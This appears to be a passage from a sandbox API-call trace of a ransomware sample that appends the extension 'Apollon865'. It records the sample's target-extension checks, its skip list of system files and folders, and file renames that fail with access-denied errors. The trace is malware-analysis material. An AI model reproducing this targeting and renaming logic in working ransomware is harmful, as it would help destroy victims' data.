	[0084.932] lstrcmpiW (lpString1="ico", lpString2="dbf") returned 1
	[0084.932] lstrlenW (lpString="mdf") returned 3
	[0084.932] lstrcmpiW (lpString1="ico", lpString2="mdf") returned -1
	[0084.932] lstrlenW (lpString="mdb") returned 3
	[0084.932] lstrcmpiW (lpString1="ico", lpString2="mdb") returned -1
	[0084.932] lstrlenW (lpString="sql") returned 3
	[0084.932] lstrcmpiW (lpString1="ico", lpString2="sql") returned -1
	[0084.932] lstrlenW (lpString="sqlite") returned 6
	[0084.932] lstrcmpiW (lpString1="ef.ico", lpString2="sqlite") returned -1
	[0084.932] lstrlenW (lpString="sqlite3") returned 7
	[0084.932] lstrcmpiW (lpString1="ref.ico", lpString2="sqlite3") returned -1
	[0084.932] lstrlenW (lpString="sqlitedb") returned 8
	[0084.932] lstrcmpiW (lpString1="pref.ico", lpString2="sqlitedb") returned -1
	[0084.932] lstrlenW (lpString="xml") returned 3
	[0084.932] lstrcmpiW (lpString1="ico", lpString2="xml") returned -1
	[0084.933] lstrlenW (lpString="$er") returned 3
	[0084.933] lstrcmpiW (lpString1="ico", lpString2="$er") returned 1
	[0084.933] lstrlenW (lpString="4dd") returned 3
	[0084.933] lstrcmpiW (lpString1="ico", lpString2="4dd") returned 1
	[0084.933] lstrlenW (lpString="4dl") returned 3
	[0084.933] lstrcmpiW (lpString1="ico", lpString2="4dl") returned 1
	[0084.933] lstrlenW (lpString="^^^") returned 3
	[0084.933] lstrcmpiW (lpString1="ico", lpString2="^^^") returned 1
	[0084.933] lstrlenW (lpString="abs") returned 3
	[0084.933] lstrcmpiW (lpString1="ico", lpString2="abs") returned 1
	[0084.933] lstrlenW (lpString="abx") returned 3
	[0084.933] lstrcmpiW (lpString1="ico", lpString2="abx") returned 1
	[0084.933] lstrlenW (lpString="accdb") returned 5
	[0084.933] lstrcmpiW (lpString1="f.ico", lpString2="accdb") returned 1
	[0084.933] lstrlenW (lpString="accdc") returned 5
	[0084.933] lstrcmpiW (lpString1="f.ico", lpString2="accdc") returned 1
	[0084.933] lstrlenW (lpString="accde") returned 5
	[0084.933] lstrcmpiW (lpString1="f.ico", lpString2="accde") returned 1
	[0084.933] lstrlenW (lpString="accdr") returned 5
	[0084.933] lstrcmpiW (lpString1="f.ico", lpString2="accdr") returned 1
	[0084.933] lstrlenW (lpString="accdt") returned 5
	[0084.933] lstrcmpiW (lpString1="f.ico", lpString2="accdt") returned 1
	[0084.933] lstrlenW (lpString="accdw") returned 5
	[0084.933] lstrcmpiW (lpString1="f.ico", lpString2="accdw") returned 1
	[0084.933] lstrlenW (lpString="accft") returned 5
	[0084.933] lstrcmpiW (lpString1="f.ico", lpString2="accft") returned 1
	[0084.933] lstrlenW (lpString="adb") returned 3
	[0084.933] lstrcmpiW (lpString1="ico", lpString2="adb") returned 1
	[0084.933] lstrlenW (lpString="adb") returned 3
	[0084.933] lstrcmpiW (lpString1="ico", lpString2="adb") returned 1
	[0084.933] lstrlenW (lpString="ade") returned 3
	[0084.933] lstrcmpiW (lpString1="ico", lpString2="ade") returned 1
	[0084.933] lstrlenW (lpString="adf") returned 3
	[0084.933] lstrcmpiW (lpString1="ico", lpString2="adf") returned 1
	[0084.933] lstrlenW (lpString="adn") returned 3
	[0084.933] lstrcmpiW (lpString1="ico", lpString2="adn") returned 1
	[0084.933] lstrlenW (lpString="adp") returned 3
	[0084.934] lstrcmpiW (lpString1="ico", lpString2="adp") returned 1
	[0084.934] lstrlenW (lpString="alf") returned 3
	[0084.934] lstrcmpiW (lpString1="ico", lpString2="alf") returned 1
	[0084.934] lstrlenW (lpString="ask") returned 3
	[0084.934] lstrcmpiW (lpString1="ico", lpString2="ask") returned 1
	[0084.934] lstrlenW (lpString="btr") returned 3
	[0084.934] lstrcmpiW (lpString1="ico", lpString2="btr") returned 1
	[0084.934] lstrlenW (lpString="cat") returned 3
	[0084.934] lstrcmpiW (lpString1="ico", lpString2="cat") returned 1
	[0084.934] lstrlenW (lpString="cdb") returned 3
	[0084.934] lstrcmpiW (lpString1="ico", lpString2="cdb") returned 1
	[0084.934] lstrlenW (lpString="ckp") returned 3
	[0084.934] lstrcmpiW (lpString1="ico", lpString2="ckp") returned 1
	[0084.934] lstrlenW (lpString="cma") returned 3
	[0084.934] lstrcmpiW (lpString1="ico", lpString2="cma") returned 1
	[0084.934] lstrlenW (lpString="cpd") returned 3
	[0084.934] lstrcmpiW (lpString1="ico", lpString2="cpd") returned 1
	[0084.934] lstrlenW (lpString="dacpac") returned 6
	[0084.934] lstrcmpiW (lpString1="ef.ico", lpString2="dacpac") returned 1
	[0084.934] lstrlenW (lpString="dad") returned 3
	[0084.934] lstrcmpiW (lpString1="ico", lpString2="dad") returned 1
	[0084.934] lstrlenW (lpString="dadiagrams") returned 10
	[0084.934] lstrcmpiW (lpString1="t_pref.ico", lpString2="dadiagrams") returned 1
	[0084.934] lstrlenW (lpString="daschema") returned 8
	[0084.934] lstrcmpiW (lpString1="pref.ico", lpString2="daschema") returned 1
	[0084.934] lstrlenW (lpString="db-journal") returned 10
	[0084.934] lstrcmpiW (lpString1="t_pref.ico", lpString2="db-journal") returned 1
	[0084.934] lstrlenW (lpString="db-shm") returned 6
	[0084.934] lstrcmpiW (lpString1="ef.ico", lpString2="db-shm") returned 1
	[0084.934] lstrlenW (lpString="db-wal") returned 6
	[0084.934] lstrcmpiW (lpString1="ef.ico", lpString2="db-wal") returned 1
	[0084.934] lstrlenW (lpString="dbc") returned 3
	[0084.934] lstrcmpiW (lpString1="ico", lpString2="dbc") returned 1
	[0084.934] lstrlenW (lpString="dbs") returned 3
	[0084.934] lstrcmpiW (lpString1="ico", lpString2="dbs") returned 1
	[0084.934] lstrlenW (lpString="dbt") returned 3
	[0084.934] lstrcmpiW (lpString1="ico", lpString2="dbt") returned 1
	[0084.934] lstrlenW (lpString="dbv") returned 3
	[0084.935] lstrcmpiW (lpString1="ico", lpString2="dbv") returned 1
	[0084.935] lstrlenW (lpString="dbx") returned 3
	[0084.935] lstrcmpiW (lpString1="ico", lpString2="dbx") returned 1
	[0084.935] lstrlenW (lpString="dcb") returned 3
	[0084.935] lstrcmpiW (lpString1="ico", lpString2="dcb") returned 1
	[0084.935] lstrcmpiW (lpString1="ico", lpString2="dct") returned 1
	[0084.935] lstrcmpiW (lpString1="ico", lpString2="dcx") returned 1
	[0084.935] lstrcmpiW (lpString1="ico", lpString2="ddl") returned 1
	[0084.935] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_pref.ico.Apollon865") returned 111
	[0084.935] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_pref.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_pref.ico"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_pref.ico.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_pref.ico.apollon865"), dwFlags=0x1) returned 0
	[0084.936] GetLastError () returned 0x5
	[0084.936] wsprintfA (in: param_1=0x119d7a8, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_pref.ico MoveFileEx error 5\r\n") returned 129
	[0084.936] lstrlenA (lpString="[ERROR] C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_pref.ico MoveFileEx error 5\r\n") returned 129
	[0084.936] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c
	[0084.936] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x578e
	[0084.936] WriteFile (in: hFile=0x9c, lpBuffer=0x119d7a8*, nNumberOfBytesToWrite=0x81, lpNumberOfBytesWritten=0x119d374, lpOverlapped=0x0 | out: lpBuffer=0x119d7a8*, lpNumberOfBytesWritten=0x119d374*=0x81, lpOverlapped=0x0) returned 1
	[0084.936] CloseHandle (hObject=0x9c) returned 1
	[0084.937] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0084.937] CloseHandle (hObject=0x0) returned 0
	[0084.937] CloseHandle (hObject=0x0) returned 0
	[0084.937] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f0eca86, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f0eca86, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc78c9009, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xebb8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="print_property.ico", cAlternateFileName="")) returned 1
	[0084.937] lstrcmpiW (lpString1="print_property.ico", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0084.937] lstrcmpiW (lpString1="print_property.ico", lpString2="Apollon865.txt.exe") returned 1
	[0084.937] lstrcmpiW (lpString1="print_property.ico", lpString2=".") returned 1
	[0084.937] lstrcmpiW (lpString1="print_property.ico", lpString2="..") returned 1
	[0084.937] lstrcmpiW (lpString1="print_property.ico", lpString2="windows") returned -1
	[0084.937] lstrcmpiW (lpString1="print_property.ico", lpString2="bootmgr") returned 1
	[0084.937] lstrcmpiW (lpString1="print_property.ico", lpString2="temp") returned -1
	[0084.937] lstrcmpiW (lpString1="print_property.ico", lpString2="pagefile.sys") returned 1
	[0084.937] lstrcmpiW (lpString1="print_property.ico", lpString2="boot") returned 1
	[0084.937] lstrcmpiW (lpString1="print_property.ico", lpString2="ids.txt") returned 1
	[0084.937] lstrcmpiW (lpString1="print_property.ico", lpString2="ntuser.dat") returned 1
	[0084.937] lstrcmpiW (lpString1="print_property.ico", lpString2="perflogs") returned 1
	[0084.937] lstrcmpiW (lpString1="print_property.ico", lpString2="MSBuild") returned 1
	[0084.937] lstrlenW (lpString="print_property.ico") returned 18
	[0084.937] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_pref.ico") returned 100
	[0084.937] lstrcpyW (in: lpString1=0x119e6b4, lpString2="print_property.ico" | out: lpString1="print_property.ico") returned="print_property.ico"
	[0084.937] lstrlenW (lpString="print_property.ico") returned 18
	[0084.937] lstrlenW (lpString="Apollon865") returned 10
	[0084.937] lstrcmpiW (lpString1="operty.ico", lpString2="Apollon865") returned 1
	[0084.937] lstrlenW (lpString=".dll") returned 4
	[0084.937] lstrcmpiW (lpString1="print_property.ico", lpString2=".dll") returned 1
	[0084.937] lstrlenW (lpString=".lnk") returned 4
	[0084.937] lstrcmpiW (lpString1="print_property.ico", lpString2=".lnk") returned 1
	[0084.937] lstrlenW (lpString=".ini") returned 4
	[0084.937] lstrcmpiW (lpString1="print_property.ico", lpString2=".ini") returned 1
	[0084.937] lstrlenW (lpString=".sys") returned 4
	[0084.937] lstrcmpiW (lpString1="print_property.ico", lpString2=".sys") returned 1
	[0084.937] lstrlenW (lpString="print_property.ico") returned 18
	[0084.938] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_property.ico.Apollon865") returned 115
	[0084.938] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_property.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_property.ico"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_property.ico.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_property.ico.apollon865"), dwFlags=0x1) returned 0
	[0084.938] GetLastError () returned 0x5
	[0084.938] wsprintfA (in: param_1=0x119d7a8, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_property.ico MoveFileEx error 5\r\n") returned 133
	[0084.938] lstrlenA (lpString="[ERROR] C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_property.ico MoveFileEx error 5\r\n") returned 133
	[0084.938] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c
	[0084.938] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x580f
	[0084.938] WriteFile (in: hFile=0x9c, lpBuffer=0x119d7a8*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x119d374, lpOverlapped=0x0 | out: lpBuffer=0x119d7a8*, lpNumberOfBytesWritten=0x119d374*=0x85, lpOverlapped=0x0) returned 1
	[0084.939] CloseHandle (hObject=0x9c) returned 1
	[0084.939] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0084.939] CloseHandle (hObject=0x0) returned 0
	[0084.939] CloseHandle (hObject=0x0) returned 0
	[0084.939] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f112be3, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f112be3, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc7be8cbf, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xdff5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="print_queue.ico", cAlternateFileName="")) returned 1
	[0084.939] lstrcmpiW (lpString1="print_queue.ico", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0084.939] lstrcmpiW (lpString1="print_queue.ico", lpString2="Apollon865.txt.exe") returned 1
	[0084.939] lstrcmpiW (lpString1="print_queue.ico", lpString2=".") returned 1
	[0084.939] lstrcmpiW (lpString1="print_queue.ico", lpString2="..") returned 1
	[0084.939] lstrcmpiW (lpString1="print_queue.ico", lpString2="windows") returned -1
	[0084.939] lstrcmpiW (lpString1="print_queue.ico", lpString2="bootmgr") returned 1
	[0084.939] lstrcmpiW (lpString1="print_queue.ico", lpString2="temp") returned -1
	[0084.939] lstrcmpiW (lpString1="print_queue.ico", lpString2="pagefile.sys") returned 1
	[0084.939] lstrcmpiW (lpString1="print_queue.ico", lpString2="boot") returned 1
	[0084.939] lstrcmpiW (lpString1="print_queue.ico", lpString2="ids.txt") returned 1
	[0084.939] lstrcmpiW (lpString1="print_queue.ico", lpString2="ntuser.dat") returned 1
	[0084.939] lstrcmpiW (lpString1="print_queue.ico", lpString2="perflogs") returned 1
	[0084.939] lstrcmpiW (lpString1="print_queue.ico", lpString2="MSBuild") returned 1
	[0084.939] lstrlenW (lpString="print_queue.ico") returned 15
	[0084.939] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_property.ico") returned 104
	[0084.939] lstrcpyW (in: lpString1=0x119e6b4, lpString2="print_queue.ico" | out: lpString1="print_queue.ico") returned="print_queue.ico"
	[0084.939] lstrlenW (lpString="print_queue.ico") returned 15
	[0084.939] lstrlenW (lpString="Apollon865") returned 10
	[0084.939] lstrcmpiW (lpString1="_queue.ico", lpString2="Apollon865") returned -1
	[0084.939] lstrlenW (lpString=".dll") returned 4
	[0084.939] lstrcmpiW (lpString1="print_queue.ico", lpString2=".dll") returned 1
	[0084.939] lstrlenW (lpString=".lnk") returned 4
	[0084.940] lstrcmpiW (lpString1="print_queue.ico", lpString2=".lnk") returned 1
	[0084.940] lstrlenW (lpString=".ini") returned 4
	[0084.940] lstrcmpiW (lpString1="print_queue.ico", lpString2=".ini") returned 1
	[0084.940] lstrlenW (lpString=".sys") returned 4
	[0084.940] lstrcmpiW (lpString1="print_queue.ico", lpString2=".sys") returned 1
	[0084.940] lstrlenW (lpString="print_queue.ico") returned 15
	[0084.940] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_queue.ico.Apollon865") returned 112
	[0084.940] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_queue.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_queue.ico"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_queue.ico.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_queue.ico.apollon865"), dwFlags=0x1) returned 0
	[0084.941] GetLastError () returned 0x5
	[0084.941] wsprintfA (in: param_1=0x119d7a8, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_queue.ico MoveFileEx error 5\r\n") returned 130
	[0084.941] lstrlenA (lpString="[ERROR] C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_queue.ico MoveFileEx error 5\r\n") returned 130
	[0084.941] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c
	[0084.941] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x5894
	[0084.941] WriteFile (in: hFile=0x9c, lpBuffer=0x119d7a8*, nNumberOfBytesToWrite=0x82, lpNumberOfBytesWritten=0x119d374, lpOverlapped=0x0 | out: lpBuffer=0x119d7a8*, lpNumberOfBytesWritten=0x119d374*=0x82, lpOverlapped=0x0) returned 1
	[0084.941] CloseHandle (hObject=0x9c) returned 1
	[0084.941] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0084.941] CloseHandle (hObject=0x0) returned 0
	[0084.941] CloseHandle (hObject=0x0) returned 0
	[0084.941] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f138d40, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f138d40, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc7c0ee1d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xec75, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="scan_.ico", cAlternateFileName="")) returned 1
	[0084.942] lstrcmpiW (lpString1="scan_.ico", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0084.942] lstrcmpiW (lpString1="scan_.ico", lpString2="Apollon865.txt.exe") returned 1
	[0084.942] lstrcmpiW (lpString1="scan_.ico", lpString2=".") returned 1
	[0084.942] lstrcmpiW (lpString1="scan_.ico", lpString2="..") returned 1
	[0084.942] lstrcmpiW (lpString1="scan_.ico", lpString2="windows") returned -1
	[0084.942] lstrcmpiW (lpString1="scan_.ico", lpString2="bootmgr") returned 1
	[0084.942] lstrcmpiW (lpString1="scan_.ico", lpString2="temp") returned -1
	[0084.942] lstrcmpiW (lpString1="scan_.ico", lpString2="pagefile.sys") returned 1
	[0084.942] lstrcmpiW (lpString1="scan_.ico", lpString2="boot") returned 1
	[0084.942] lstrcmpiW (lpString1="scan_.ico", lpString2="ids.txt") returned 1
	[0084.942] lstrcmpiW (lpString1="scan_.ico", lpString2="ntuser.dat") returned 1
	[0084.942] lstrcmpiW (lpString1="scan_.ico", lpString2="perflogs") returned 1
	[0084.942] lstrcmpiW (lpString1="scan_.ico", lpString2="MSBuild") returned 1
	[0084.942] lstrlenW (lpString="scan_.ico") returned 9
	[0084.942] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_queue.ico") returned 101
	[0084.942] lstrcpyW (in: lpString1=0x119e6b4, lpString2="scan_.ico" | out: lpString1="scan_.ico") returned="scan_.ico"
	[0084.942] lstrlenW (lpString="scan_.ico") returned 9
	[0084.942] lstrlenW (lpString="Apollon865") returned 10
	[0084.942] lstrlenW (lpString=".dll") returned 4
	[0084.942] lstrcmpiW (lpString1="scan_.ico", lpString2=".dll") returned 1
	[0084.942] lstrlenW (lpString=".lnk") returned 4
	[0084.942] lstrcmpiW (lpString1="scan_.ico", lpString2=".lnk") returned 1
	[0084.942] lstrlenW (lpString=".ini") returned 4
	[0084.942] lstrcmpiW (lpString1="scan_.ico", lpString2=".ini") returned 1
	[0084.942] lstrlenW (lpString=".sys") returned 4
	[0084.942] lstrcmpiW (lpString1="scan_.ico", lpString2=".sys") returned 1
	[0084.942] lstrlenW (lpString="scan_.ico") returned 9
	[0084.942] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_.ico.Apollon865") returned 106
	[0084.942] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_.ico"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_.ico.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_.ico.apollon865"), dwFlags=0x1) returned 0
	[0084.943] GetLastError () returned 0x5
	[0084.943] wsprintfA (in: param_1=0x119d7a8, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_.ico MoveFileEx error 5\r\n") returned 124
	[0084.943] lstrlenA (lpString="[ERROR] C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_.ico MoveFileEx error 5\r\n") returned 124
	[0084.943] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c
	[0084.943] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x5916
	[0084.943] WriteFile (in: hFile=0x9c, lpBuffer=0x119d7a8*, nNumberOfBytesToWrite=0x7c, lpNumberOfBytesWritten=0x119d374, lpOverlapped=0x0 | out: lpBuffer=0x119d7a8*, lpNumberOfBytesWritten=0x119d374*=0x7c, lpOverlapped=0x0) returned 1
	[0084.943] CloseHandle (hObject=0x9c) returned 1
	[0084.943] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0084.943] CloseHandle (hObject=0x0) returned 0
	[0084.943] CloseHandle (hObject=0x0) returned 0
	[0084.943] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f15ee9d, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f15ee9d, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc7c0ee1d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x10654, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="scan_property.ico", cAlternateFileName="")) returned 1
	[0084.944] lstrcmpiW (lpString1="scan_property.ico", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0084.944] lstrcmpiW (lpString1="scan_property.ico", lpString2="Apollon865.txt.exe") returned 1
	[0084.944] lstrcmpiW (lpString1="scan_property.ico", lpString2=".") returned 1
	[0084.944] lstrcmpiW (lpString1="scan_property.ico", lpString2="..") returned 1
	[0084.944] lstrcmpiW (lpString1="scan_property.ico", lpString2="windows") returned -1
	[0084.944] lstrcmpiW (lpString1="scan_property.ico", lpString2="bootmgr") returned 1
	[0084.944] lstrcmpiW (lpString1="scan_property.ico", lpString2="temp") returned -1
	[0084.944] lstrcmpiW (lpString1="scan_property.ico", lpString2="pagefile.sys") returned 1
	[0084.944] lstrcmpiW (lpString1="scan_property.ico", lpString2="boot") returned 1
	[0084.944] lstrcmpiW (lpString1="scan_property.ico", lpString2="ids.txt") returned 1
	[0084.944] lstrcmpiW (lpString1="scan_property.ico", lpString2="ntuser.dat") returned 1
	[0084.944] lstrcmpiW (lpString1="scan_property.ico", lpString2="perflogs") returned 1
	[0084.944] lstrcmpiW (lpString1="scan_property.ico", lpString2="MSBuild") returned 1
	[0084.944] lstrlenW (lpString="scan_property.ico") returned 17
	[0084.944] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_.ico") returned 95
	[0084.944] lstrcpyW (in: lpString1=0x119e6b4, lpString2="scan_property.ico" | out: lpString1="scan_property.ico") returned="scan_property.ico"
	[0084.944] lstrlenW (lpString="scan_property.ico") returned 17
	[0084.944] lstrlenW (lpString="Apollon865") returned 10
	[0084.944] lstrcmpiW (lpString1="operty.ico", lpString2="Apollon865") returned 1
	[0084.944] lstrlenW (lpString=".dll") returned 4
	[0084.944] lstrcmpiW (lpString1="scan_property.ico", lpString2=".dll") returned 1
	[0084.944] lstrlenW (lpString=".lnk") returned 4
	[0084.944] lstrcmpiW (lpString1="scan_property.ico", lpString2=".lnk") returned 1
	[0084.944] lstrlenW (lpString=".ini") returned 4
	[0084.944] lstrcmpiW (lpString1="scan_property.ico", lpString2=".ini") returned 1
	[0084.944] lstrlenW (lpString=".sys") returned 4
	[0084.944] lstrcmpiW (lpString1="scan_property.ico", lpString2=".sys") returned 1
	[0084.944] lstrlenW (lpString="scan_property.ico") returned 17
	[0084.944] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_property.ico.Apollon865") returned 114
	[0084.944] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_property.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_property.ico"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_property.ico.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_property.ico.apollon865"), dwFlags=0x1) returned 0
	[0084.945] GetLastError () returned 0x5
